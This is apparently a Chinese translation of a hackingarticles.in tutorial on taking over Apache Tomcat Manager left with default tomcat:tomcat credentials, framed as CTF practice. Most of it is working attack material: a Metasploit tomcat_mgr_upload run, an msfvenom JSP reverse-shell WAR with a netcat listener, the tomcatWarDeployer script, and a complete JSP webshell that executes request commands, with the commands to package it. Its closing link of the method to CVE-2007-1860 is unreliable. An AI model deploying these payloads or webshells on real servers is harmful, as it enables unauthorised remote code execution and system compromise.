您好朋友,今天通过本文我想分享我的经验“如何利用Tomcat Manger应用程序”,如果您有默认登录凭据(tomcat:tomcat)。在玩CTF时,很多时候我发现Apache Tomcat在目标机器上运行,配置了默认登录,这可以帮助我们获得远程机器shell。因此我觉得,我应该编写所有可能的方法来利用tomcat manger应用程序获取远程机器的webshell。
表中的内容
- Tomcat Manager经过身份验证的上载代码执行
- 生成.war格式后门
- Tomcat War Deployer Script
- 生成JSP Webshell
让我们从nmap扫描开始,到tomcat服务检查端口8080作为tomcat。
1 | nmap -sV -p8080 192.168.1.101 |
从nmap输出结果,我们发现Apache Tomcat的端口8080是开放的。因此,我们导航到Web浏览器并探索目标IP:端口我们看到HTTP身份验证页面登录tomcat manger应用程序。
Tomcat Manager经过身份验证的上载代码执行
此模块可用于在具有公开“管理器”应用程序的Apache Tomcat服务器上执行有效负载。有效负载作为WAR存档上载,包含使用针对/ manager / html / upload组件的POST请求的jsp应用程序。注意:兼容的有效负载集根据所选目标而有所不同。例如,您必须选择Windows目标才能使用本机Windows有效负载。
1 2 3 4 5 6 | use exploit/multi/http/tomcat_mgr_upload msf exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.1.101 msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080 msf exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat msf exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat msf exploit(multi/http/tomcat_mgr_upload) > exploit |
结果你可以观察到,我们有目标机器的meterpreter会话。
生成.war格式后门
我们可以使用msfvenom为java / jsp有效负载生成.war格式后门,您只需按照下面给出的语法创建.war格式文件然后运行netcat listener。
语法: msfvenom -p [payload] LHOST = [Kali Linux IP] LPORT = [1234] -f [文件格式]> [文件名]
1 2 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=1234 -f war > shell.war nc -lvp 1234 |
现在使用tomcat:tomcat作为用户名:密码登录tomcat manager应用程序。管理员仪表板将欢迎您上传.war文件。
正如您所看到的那样,浏览器中的恶意shell.war文件将在图像中突出显示。只要您上传文件,就会在应用程序表中看到文件的/ path条目
要执行.war文件,必须单击Application表中提到的/.war文件路径。或者您可以直接浏览http:// target_IP:port / file_name。
一旦执行文件,您将通过netcat获得反向连接。
Booom!我们再一次访问远程webshell。
Tomcat War Deployer Script
这是一个渗透测试工具,旨在利用Apache Tomcat凭证自动生成和部署JSP后门,以及之后调用它并提供漂亮的shell(通过web gui,绑定在远程机器上的侦听端口或作为反向tcp有效负载)连接到对手)。
实际上,它会动态生成JSP后门WAR包,并使用pentester提供的有效HTTP身份验证凭据(或者自定义的凭证,最终我们都喜欢tomcat:tomcat)将其部署在Apache Tomcat Manager应用程序中。
您可以从这里下载:https://github.com/mgeeky/tomcatWarDeployer
1 2 3 | git clone https://github.com/mgeeky/tomcatWarDeployer cd tomcatWarDeployer ls |
现在按照语法来利用目标机器,而无需手动上传.war文件。
语法: ./ tomcatWarDeployer.py -U [usrename] -p [password] -H [Kali Linux IP] -p [监听端口] [target_IP]:[tomcat_port]
1 | ./tomcatWarDeployer.py -U tomcat -P tomcat -H 192.168.1.108 -p 4567 192.168.1.101:8080 |
在执行上面的命令时,我直接获得了webshell,你可以在下面给出的图像中观察它。
生成JSP Webshell
在本部分中,我们将了解如何生成和部署Webshell以在Tomcat manger应用程序上执行命令。
首先,我们需要编写Webshell并将其打包为.war文件格式。要编写jsp Webshell,我们使用以下代码,我在此链接中找到了这些代码:https://pentesterlab.com/exercises/cve-2007-1860/course
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | <span style="color: #000000;"><FORM METHOD=GET ACTION='index.jsp'> <INPUT name='cmd' type=text> <INPUT type=submit value='Run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"</br>"; } } catch(IOException e) { e.printStackTrace(); } } %> <pre><%=output %></pre></span> |
将代码保存为index.jsp,然后执行以下命令将其打包为.war文件。
1 2 3 4 | mkdir webshell cp index.jsp webshell/ cd webshell jar -cvf ../webshell.war * |
在上面的命令的帮助下,您将获得一个war文件,您可以在tomcat manger应用程序中部署该文件。
从下面给出的图像中可以看出,我已经部署了成功上传的webshell.war文件,现在让我们点击这个文件来执行它。
在执行/ webshell时,您将收到HTTP 404错误,现在执行index.jsp文件,如下所示:
1 | http://192.168.1.106:8080/webshell/index.jsp |
在执行上面的URL时,您将获得命令执行表单,现在明智地使用它来cmd命令。
希望!您很享受本文如何使用CVE-2007-1860访问Tomcat管理器。
原文地址:https://www.hackingarticles.in/multiple-ways-to-exploit-tomcat-manager/